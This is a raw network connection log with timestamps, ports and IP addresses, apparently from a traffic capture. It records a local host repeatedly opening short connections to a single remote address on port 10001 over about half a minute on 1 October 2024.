Oct 1, 2024 09:17:40.358668089 CEST	49769	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:40.358722925 CEST	49769	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:40.358845949 CEST	49769	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:40.363558054 CEST	10001	49769	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:40.475342989 CEST	49770	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:40.480288982 CEST	10001	49770	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:40.480389118 CEST	49770	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:40.480554104 CEST	49770	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:40.485316992 CEST	10001	49770	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:41.456600904 CEST	10001	49770	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:41.456698895 CEST	49770	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:41.457010031 CEST	10001	49770	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:41.457072020 CEST	49770	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:41.568712950 CEST	49770	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:41.569022894 CEST	49771	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:41.573971033 CEST	10001	49770	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:41.573985100 CEST	10001	49771	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:41.574054003 CEST	49771	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:41.574184895 CEST	49771	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:41.579173088 CEST	10001	49771	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:42.535255909 CEST	10001	49771	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:42.535268068 CEST	10001	49771	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:42.535412073 CEST	49771	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:42.535550117 CEST	49771	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:42.540366888 CEST	10001	49771	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:42.647789955 CEST	49772	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:42.655922890 CEST	10001	49772	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:42.656014919 CEST	49772	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:42.656169891 CEST	49772	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:42.662200928 CEST	10001	49772	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:43.632132053 CEST	10001	49772	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:43.632204056 CEST	49772	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:43.632246017 CEST	10001	49772	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:43.632299900 CEST	49772	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:43.632375002 CEST	49772	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:43.639395952 CEST	10001	49772	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:43.740935087 CEST	49773	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:43.746989012 CEST	10001	49773	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:43.747077942 CEST	49773	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:43.747241974 CEST	49773	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:43.752389908 CEST	10001	49773	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:44.697855949 CEST	10001	49773	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:44.697874069 CEST	10001	49773	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:44.697946072 CEST	49773	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:44.697946072 CEST	49773	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:44.698940039 CEST	49773	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:44.703687906 CEST	10001	49773	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:44.803749084 CEST	49774	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:44.808629036 CEST	10001	49774	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:44.808757067 CEST	49774	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:44.808901072 CEST	49774	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:44.813677073 CEST	10001	49774	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:45.952497959 CEST	10001	49774	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:45.952512980 CEST	10001	49774	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:45.952569962 CEST	10001	49774	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:45.952668905 CEST	49774	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:45.952805042 CEST	49774	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:45.957550049 CEST	10001	49774	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:46.069535017 CEST	49775	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:46.076773882 CEST	10001	49775	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:46.076865911 CEST	49775	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:46.076970100 CEST	49775	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:46.081727982 CEST	10001	49775	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:47.050570011 CEST	10001	49775	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:47.050620079 CEST	10001	49775	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:47.050822973 CEST	49775	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:47.050822973 CEST	49775	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:47.050899029 CEST	49775	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:47.055787086 CEST	10001	49775	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:47.164963007 CEST	49776	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:47.169955969 CEST	10001	49776	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:47.170211077 CEST	49776	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:47.170264959 CEST	49776	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:47.175017118 CEST	10001	49776	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:48.123918056 CEST	10001	49776	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:48.123971939 CEST	49776	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:48.124011993 CEST	10001	49776	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:48.124052048 CEST	49776	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:48.124114037 CEST	49776	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:48.128914118 CEST	10001	49776	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:48.241600037 CEST	49777	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:48.248814106 CEST	10001	49777	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:48.248933077 CEST	49777	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:48.249100924 CEST	49777	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:48.254888058 CEST	10001	49777	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:49.197149992 CEST	10001	49777	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:49.197683096 CEST	10001	49777	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:49.197762966 CEST	49777	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:49.203026056 CEST	49777	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:49.207834005 CEST	10001	49777	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:49.319070101 CEST	49778	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:49.324300051 CEST	10001	49778	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:49.324383020 CEST	49778	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:49.324487925 CEST	49778	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:49.329937935 CEST	10001	49778	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:50.296108961 CEST	10001	49778	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:50.296179056 CEST	49778	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:50.296217918 CEST	10001	49778	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:50.296266079 CEST	49778	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:50.296310902 CEST	49778	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:50.301099062 CEST	10001	49778	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:50.397134066 CEST	49779	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:50.402053118 CEST	10001	49779	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:50.402132988 CEST	49779	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:50.402236938 CEST	49779	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:50.406972885 CEST	10001	49779	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:51.369102955 CEST	10001	49779	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:51.369185925 CEST	10001	49779	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:51.369204998 CEST	49779	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:51.369240999 CEST	49779	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:51.369374990 CEST	49779	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:51.375612974 CEST	10001	49779	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:51.475929976 CEST	49780	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:51.480912924 CEST	10001	49780	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:51.480999947 CEST	49780	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:51.481307983 CEST	49780	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:51.486282110 CEST	10001	49780	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:52.431555986 CEST	10001	49780	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:52.431619883 CEST	49780	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:52.431742907 CEST	10001	49780	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:52.431785107 CEST	49780	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:52.537602901 CEST	49780	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:52.537894964 CEST	49782	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:52.542519093 CEST	10001	49780	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:52.542788029 CEST	10001	49782	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:52.542854071 CEST	49782	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:52.542958975 CEST	49782	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:52.547838926 CEST	10001	49782	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:53.539417028 CEST	10001	49782	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:53.539458036 CEST	10001	49782	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:53.539482117 CEST	49782	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:53.539510965 CEST	49782	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:53.539702892 CEST	49782	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:53.544451952 CEST	10001	49782	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:53.713768959 CEST	49783	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:53.718700886 CEST	10001	49783	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:53.718774080 CEST	49783	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:53.721587896 CEST	49783	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:53.726376057 CEST	10001	49783	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:54.689713955 CEST	10001	49783	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:54.689790964 CEST	10001	49783	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:54.689843893 CEST	49783	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:54.689966917 CEST	49783	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:54.694746017 CEST	10001	49783	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:54.803358078 CEST	49784	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:54.808264971 CEST	10001	49784	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:54.810595989 CEST	49784	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:54.810755968 CEST	49784	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:54.815499067 CEST	10001	49784	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:55.758268118 CEST	10001	49784	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:55.758397102 CEST	10001	49784	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:55.758444071 CEST	49784	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:55.758444071 CEST	49784	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:55.764712095 CEST	49784	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:55.769629955 CEST	10001	49784	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:55.865973949 CEST	49785	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:55.871144056 CEST	10001	49785	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:55.871234894 CEST	49785	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:55.871373892 CEST	49785	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:55.876143932 CEST	10001	49785	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:56.837666988 CEST	10001	49785	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:56.837738991 CEST	10001	49785	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:56.837785959 CEST	49785	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:56.837785959 CEST	49785	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:56.837899923 CEST	49785	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:56.842643976 CEST	10001	49785	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:56.944103003 CEST	49786	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:56.949121952 CEST	10001	49786	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:56.949223042 CEST	49786	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:56.949346066 CEST	49786	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:56.954099894 CEST	10001	49786	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:58.517384052 CEST	10001	49786	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:58.517514944 CEST	10001	49786	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:58.517524958 CEST	10001	49786	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:58.517575026 CEST	10001	49786	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:58.517596960 CEST	49786	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:58.517685890 CEST	49786	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:58.517738104 CEST	49786	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:58.522455931 CEST	10001	49786	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:58.631494999 CEST	49787	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:58.636353016 CEST	10001	49787	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:58.640566111 CEST	49787	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:58.640695095 CEST	49787	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:58.645407915 CEST	10001	49787	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:59.583570004 CEST	10001	49787	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:59.583590031 CEST	10001	49787	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:59.583633900 CEST	49787	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:59.583671093 CEST	49787	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:59.583775997 CEST	49787	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:59.588562965 CEST	10001	49787	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:59.694278955 CEST	49788	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:59.699338913 CEST	10001	49788	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:59.699443102 CEST	49788	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:59.699615955 CEST	49788	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:59.704423904 CEST	10001	49788	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:00.651453972 CEST	10001	49788	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:00.651525021 CEST	49788	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:00.651549101 CEST	10001	49788	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:00.651606083 CEST	49788	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:00.651647091 CEST	49788	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:00.656445026 CEST	10001	49788	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:00.758553028 CEST	49789	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:00.763521910 CEST	10001	49789	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:00.763593912 CEST	49789	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:00.763720036 CEST	49789	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:00.768486977 CEST	10001	49789	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:01.725831985 CEST	10001	49789	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:01.725852966 CEST	10001	49789	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:01.725929976 CEST	49789	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:01.725929976 CEST	49789	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:01.726073027 CEST	49789	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:01.730835915 CEST	10001	49789	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:01.834719896 CEST	49790	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:01.839793921 CEST	10001	49790	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:01.839876890 CEST	49790	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:01.840148926 CEST	49790	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:01.844935894 CEST	10001	49790	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:02.821022034 CEST	10001	49790	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:02.821095943 CEST	49790	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:02.821120977 CEST	10001	49790	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:02.821166992 CEST	49790	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:02.821233034 CEST	49790	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:02.826850891 CEST	10001	49790	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:02.928453922 CEST	49791	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:02.933382988 CEST	10001	49791	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:02.933479071 CEST	49791	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:02.933568954 CEST	49791	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:02.938360929 CEST	10001	49791	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:03.911815882 CEST	10001	49791	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:03.911832094 CEST	10001	49791	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:03.911926985 CEST	49791	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:03.912049055 CEST	49791	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:03.916866064 CEST	10001	49791	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:04.022190094 CEST	49792	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:04.027121067 CEST	10001	49792	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:04.027210951 CEST	49792	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:04.027379036 CEST	49792	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:04.032171965 CEST	10001	49792	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:04.981847048 CEST	10001	49792	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:04.981937885 CEST	49792	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:04.981952906 CEST	10001	49792	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:04.982009888 CEST	49792	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:04.982132912 CEST	49792	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:04.986871004 CEST	10001	49792	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:05.100223064 CEST	49793	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:05.105097055 CEST	10001	49793	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:05.105174065 CEST	49793	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:05.105262995 CEST	49793	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:05.110074997 CEST	10001	49793	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:06.064009905 CEST	10001	49793	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:06.064071894 CEST	10001	49793	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:06.064081907 CEST	49793	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:06.064114094 CEST	49793	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:06.064227104 CEST	49793	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:06.068968058 CEST	10001	49793	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:06.178550005 CEST	49794	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:06.183422089 CEST	10001	49794	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:06.183510065 CEST	49794	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:06.183608055 CEST	49794	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:06.188539982 CEST	10001	49794	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:07.142935991 CEST	10001	49794	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:07.142988920 CEST	49794	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:07.143723011 CEST	10001	49794	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:07.143840075 CEST	49794	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:07.258008957 CEST	49794	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:07.258363962 CEST	49795	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:07.262842894 CEST	10001	49794	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:07.263205051 CEST	10001	49795	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:07.263278961 CEST	49795	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:07.263447046 CEST	49795	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:07.268188000 CEST	10001	49795	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:08.247355938 CEST	10001	49795	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:08.247378111 CEST	10001	49795	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:08.247426987 CEST	49795	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:08.247459888 CEST	49795	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:08.247513056 CEST	49795	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:08.252276897 CEST	10001	49795	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:08.350300074 CEST	49796	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:08.355223894 CEST	10001	49796	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:08.355295897 CEST	49796	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:08.355396986 CEST	49796	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:08.360326052 CEST	10001	49796	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:09.322186947 CEST	10001	49796	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:09.322268963 CEST	49796	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:09.322340012 CEST	10001	49796	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:09.322392941 CEST	49796	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:09.322427988 CEST	49796	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:09.327982903 CEST	10001	49796	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:09.428410053 CEST	49797	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:09.433415890 CEST	10001	49797	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:09.433486938 CEST	49797	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:09.433604956 CEST	49797	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:09.438466072 CEST	10001	49797	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:10.406157970 CEST	10001	49797	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:10.406193018 CEST	10001	49797	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:10.406358957 CEST	49797	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:10.406358957 CEST	49797	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:10.406411886 CEST	49797	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:10.411204100 CEST	10001	49797	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:10.522161961 CEST	49798	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:10.529414892 CEST	10001	49798	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:10.529484034 CEST	49798	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:10.529619932 CEST	49798	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:10.537233114 CEST	10001	49798	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:11.475215912 CEST	10001	49798	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:11.475282907 CEST	49798	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:11.475321054 CEST	10001	49798	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:11.475367069 CEST	49798	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:11.475455046 CEST	49798	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:11.480166912 CEST	10001	49798	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:11.584677935 CEST	49799	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:11.589653969 CEST	10001	49799	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:11.589749098 CEST	49799	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:11.589905977 CEST	49799	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:11.594659090 CEST	10001	49799	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:12.557328939 CEST	10001	49799	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:12.557418108 CEST	49799	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:12.557526112 CEST	10001	49799	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:12.557575941 CEST	49799	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:12.664208889 CEST	49799	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:12.664527893 CEST	49800	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:12.669030905 CEST	10001	49799	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:12.669471979 CEST	10001	49800	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:12.669552088 CEST	49800	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:12.669694901 CEST	49800	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:12.674825907 CEST	10001	49800	8.130.42.227	192.168.2.4
